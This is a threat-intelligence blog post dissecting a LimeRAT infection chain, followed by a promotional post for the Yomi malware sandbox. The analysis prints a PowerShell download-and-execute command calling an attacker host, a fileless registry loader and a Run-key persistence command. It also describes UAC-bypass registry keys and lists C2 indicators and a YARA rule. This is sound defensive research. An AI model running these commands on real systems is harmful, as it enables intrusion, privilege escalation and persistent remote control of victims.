LimeRAT spreads in the wild

Introduction

Few days ago, Cybaze-Yoroi ZLab team came across an interesting infection chain leveraging several techniques able to defeat traditional security defences and hiding a powerful inner payload able to seriously threaten its victims.

The whole infection chain was originated by a LNK file, a technique used by advanced attackers and APTs too, for this reason we decided to have a deeper look into these malicious samples revealing another infamous abuse of open-source projects. Too many times turned into fully-featured malware implants by unethical hackers and cyber criminals.

Technical Analysis

The origin of the infection chain is a simple LNK file, a technique originally adopted by state sponsored and advanced actors, designed to download and run a powershell file named “rdp.ps1” from a remote location through the command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWVY'));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString('https://hacks4all[.net/rdp.ps1');g $I

The retrieved Powershell script works as dropper of the whole infection chain.

Sha256141fd1e267a092d5525ba91b5817c324ccd9ec20a0d5c6b5cdfb899ca5cda039
ThreatPowershell Dropper
Brief DescriptionPowershell dropper of LimeRAT
Ssdeep1536:7Tty9ugHMeQdOaqZyyhWI6WGf6J705549G:7Ti2dOaqZyyhp8fQkCG

This script firstly retrieves the version of the Windows OS installed on the target machine using the “Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version”  command. Then, depending on the returned value, it runs a couple of privilege escalation exploits able to bypass the UAC (User Account Control) feature, a well known security mechanism introduced since Vista to avoid unauthorized system configuration changes. The first one targets the Windows versions lower than 8.1, abusing a design flaw on the EventViewer process to execute a command with higher privileges.

This exploit works quite easily: the malware gains access to the registry key “HKCU:\Software\Classes\mscfile\shell\open\command” and inserts here the command to run its own payload, forcing its execution through the “eventvwr.exe” process which, due to a security flaw, executes it with the maximum privileges available.

Figure 1: Check of the target Windows version and preparation for the eventvwr.exe process exploit

The second exploit targets Windows 10 operating systems: it leverages a vulnerability inside the FODhelper process. The principle of this exploit is similar to the previous one, but the accessed registry key is “HKCU:\Software\Classes\ms-settings\Shell\Open\command” and the vulnerable process is “fodhelper.exe”.

Figure 2: Check of the target Windows version and preparation for the fodhelper.exe process exploit

These two exploits are both used to run a Powershell payload which, after its decoding, results in the invocation of an additional JavaScript code. The body of this script contains a unique anonymous function embedding other sub-functions and an enormous obfuscated variable.

Figure 3: Payload encoded in Base64 format and obfuscated with a custom subroutine
Figure 4: Piece of de-obfuscation subroutine

Its payload is a parameterized Powershell script having the purpose to install the final payload into the user registry hive, concluding the infection chain.

[
  "Wscript.Shell",
  "scriptfullname",
  "scriptname",
  "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command ",
  "%",
  "ExpandEnvironmentStrings",
  "Temp",
  "\\",
  "fromCharCode",
  "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\\",
  "',[System.IO.File]::ReadAllText('",
  "'));wscript '",
  "'",
  "Run",
  "Quit",
  "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -name 'FileName' -value '",
  "' -PropertyType String -Force;",
  "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\\",
  "'))",
  
  " ##### FINAL PAYLOAD ##### "

  "HKCU\\SOFTWARE\\Microsoft\\\\Winkey",
  "Scripting.FileSystemObject",
  "REG_SZ",
  "regwrite",
  "$_b = (get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'Winkey').Winkey;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
]
Figure 5: Final payload written in the registry key in base64 Format

The Payload

Figure 6. Static payload data

The installed payload actually is a Base64 encoded PE32 file, file-lessly stored within the registry hive to avoid antivirus detection. It is written in C# and requires at least the .NET framework 3.2 to run. Exploring the malware code, we detected multiple evidence indication of the possible belonging malware family: LimeRAT.

LimeRAT is a powerful Remote Administration Tool publicly available to any internet user, it is an open-source project freely available on Github. Comparing its source code to the decompiled sample we were able to confirm there is a high compatibility between the payload and this open-source remote administration tool.

Figure 7: Decompiled code (on the left) and source code (on the right) on Github platform

The function reported above closely matches the open-source code. It also codes an interesting feature of the implant, in fact it allows the malware to register itself as “Critical Process” and when the user tries to kill it, a Blue Screen of Death (BSoD) is raised on the victim machine. Besides this peculiar tricks, the malware has a complete set of very powerful and dangerous capabilities, such as:

C2 Server

Figure 8. C2 retrieval

The malware command and control infrastructure abuses the Pastebin service to ensure resilience, in fact the malware dynamically retrieves the real C2 destination address from a pastie over an encrypted HTTPS channel.

Also, the attacker behind this sample leans on the Dynamic DNS service “warzonedns.com”, pointing to the 213.183.58[.10 IP address located in Russia.

Investigating this network destination we figured out the registrar email, “anthony.marshall.1986[@gmail[.com”, is well known: this email appears in another AdWind/JRat malicious campaign dated back in 2017, suggesting this malicious actor is active for a long time.

Persistence Mechanisms

This sample also uses multiple persistence mechanisms, making more difficult to an improvised incident responder to get rid of the infection, because the choice to add this redundancy helps to ensure the infection last longer. In detail, it leverages at least three different persistence tricks, copying itself in three different paths:

Figure 9: The persistence mechanisms of the malware

The JavaScript code is executed through the following powershell command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'FileName' -value 'C:\Users\admin\AppData\Local\Temp\fuw.js' -PropertyType String -Force;"

Conclusion

The analyzed case evidences how open-source projects are often abused by cyber criminals to pursue their malicious objectives and, even if the malware code and behaviour are well known, how those threat families are constantly re-arranged to avoid basic security controls, along with the observation of how cyber-criminals challengingly insist in their illicit operations over the years, refining their techniques to penetrate companies boundaries.

Indicators of Compromise

Yara Rules

rule LimeRat_201904 {
meta:
	description = "Yara rule for LimeRAT"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-04-08"
	tlp = "white"
	category = "informational"
strings:
	$a1 = { E5 A4 AA E5 AD AB E5 B0 87 }
	$a2 = { 61 02 D2 0A 7C 04 69 02 }
	$b = "LimeRAT" wide


condition:
	all of them
}

This blog post was authored by Luigi Martire and Luca Mella of Cybaze-Yoroi Z-LAB

Yoroi Welcomes "Yomi: The Malware Hunter"

Nowadays malware represents a powerful tool for cyber attackers and cyber criminals all around the world, with over 856 million of distinct samples identified during the last year it is, with no doubt, one of the major kinds of threat that companies and organizations are tackling to keep running their business without losing resources, time, money, shares and, last but not least, reputation and customers.

Decades of adversarial coevolution with the Anti-Virus industry led the malware threats to develop the ability to evade detection, bypassing security boundaries and staying silent until the proper time. Finally unleashing their malicious behaviour, enabling remote hackers, cyber-criminals and spies to steal secrets, data, digital goods and money,  compromising business processes and even human life. For fun and profit.

This battle, against malware, is huge. Trends and market evolution has shown no single Vendor has the power to overcome these threats, but the cooperation of security professionals, info-sec and intelligence communities, Vendors, CERTs and CSIRTs can.

With this in mind, few months ago Yoroi decided to actively support this Cause sharing proprietary tools to help the Info-Sec community to detect, analyze and dissect malware threats, opening the “Yomi” sandox to the public: the first completely Italian malware analysis sandbox, today extending access to all the community users.

Figure. “Yomi: The Malware Hunter” main interface

The Malware Hunter

Yomi is a malware sandbox able to digest and detonate malicious documents, executables, installers and scripts in a controlled environment, silently recording each samples actions inside the custom analysis environment designed to defeat evasion techniques, and then spot and track the malicious behaviour hidden by attackers.

Yomi’s malware engine implements a multi-analysis approach able to exploit both: static analysis and behavioural analysis. The static analysis section includes: document and macro code extraction, import, dependencies and trust chain analysis, while behavioural analysis is weaponized to recognizing malicious (or suspicious) actions the malware silently does, giving also a powerful insight on command and control, exfiltration and lateral movement activities over the network. Each analysis is reported  in an intuitive aggregated view to spot interesting patterns at a glance.

Figure. Network connections at a glance

The behavioural detection engine is not only able to detect anomalous, suspicious or malicious actions attempted during the analysis, Yomi has also been designed to help human analysts to understand the dynamic of the malicious code execution, giving detailed visibility of the control flow and interactions the malware performs (“Action Graph”). Yomi technology includes many static and dynamic engines in order to avoid as much as possible Malware evasion.


Figure. Behavioural signatures and action graph example

Yomi can analyse a huge variety of executable file types, ranging from PE32 (Native or .NET) both x86 and x86_64bit, Java binaries, Powershell scripts, JS or VB scripts, Cabinet files, HTML pages, PDF documents, Office Documents such as Powerpoint, Excel or Word files (even the exetic ones) and several common or uncommon compressed archives format ranging

from ZIP, 7z, RAR, TAR, BZ2, up to the ACE format. Yomi provides ad hoc analysis path for each of these file families, leveraging a plethora of security tools to extract much information as possible from each sample. For instance documents and spreadsheets are inspected for macro code or embedded exploits, extracting them from the original file, instead executable files are statically checked to gather contextual info and then instrumented for dynamic analysis, or also Java files, decompiled to ease their manual inspection.

Anyway, stay tuned since we are planning to release many additional features in “Yomi: The Malware Hunter” in the next months.

HTTPS Inspection

Network addresses, domains and patterns are one of the most actionable kinds of indicators a blue team may exploit to spot malicious activity within network perimeter, their relevance can also be appreciated during threat intelligence operations, where they represent some of the basic blocks needed to track threat actors activities.

However, during the years, due to the increasing usage of end to end encryption, attackers started to abuse SSL protected channels to avoid detection, leveraging the limited visibility on these channels to evade IPS and next-gen proxies, enabling them to bypass an important part of the perimetral security controls, leaving the victims in the hand of their last resource: antiviruses. Well known technologies, even by cyber criminals.

Also several automated malware analysis are not equipped to deal with encrypted channels, leaving the effort of the communication inspection to the cyber security analysts. With this in mind, Yoroi choose to empower “Yomi: The Malware Hunter” with SSL inspection capabilities,  for free. A cutting edge feature typically available only in premium services, enabling community malware hunters to analyze even the encrypted tunnels malware code sets up, unveiling their hidden data.

In fact, Yomi supports the Man in the Middle feature, able to force eventual malicious samples under analysis to transit into an ad hoc SSL proxy, instrumented to record and analyze network traffic in transit, giving visibility on encrypted channel to the malware hunters.

Figure. Man in the Middle traffic interception

Private Reports

Figure. Private report submission

Almost all security professional knows not every sample and not every analysis can be shared to the public. Some times, especially during APT investigations, analysis reports cannot be disclosed to the community, at least during the initial phases of the analysis, or, for instance, during take-downs or joint investigation with law enforcement, typically requiring some degree of secretiveness, at least until the conclusion of the operations.

Yoroi intimately understand this privacy need coming from many professionals and decided to empower Yomi of a game changing feature: the opportunity to choose to NOT share the analysis with the community, enabling its users to request private reports for the submitted samples. This means both sample and analysis report too will not be disclosed to the community. A feature many times not available in free tools.

Community and Contests

Figure. Custom tags

“Yomi: The Malware Hunter” is not only a freely available automated analysis tool, it’s designed to engage the community and leverage hunter’s experience, enabling them to tag the submitted samples with names, families and contextual enrichments only a human analyst can afford.

Also, Yomi’s community will have the opportunity to participate in malware contests aimed to spot particular threats or engage the community to gather data and discussion about malware trends spotted in the wild.

Figure. Community context banner

And yes, there also will be a special reward for top submitters and contest participants 😉 .. So, give a try to “Yomi: The Malware Hunter”, join the community and start hunting malware with us!

If you want to try Yomi: The Malware Hunter please register here!

PS: feedbacks and opinions are welcome (check the “Give a feedback” form).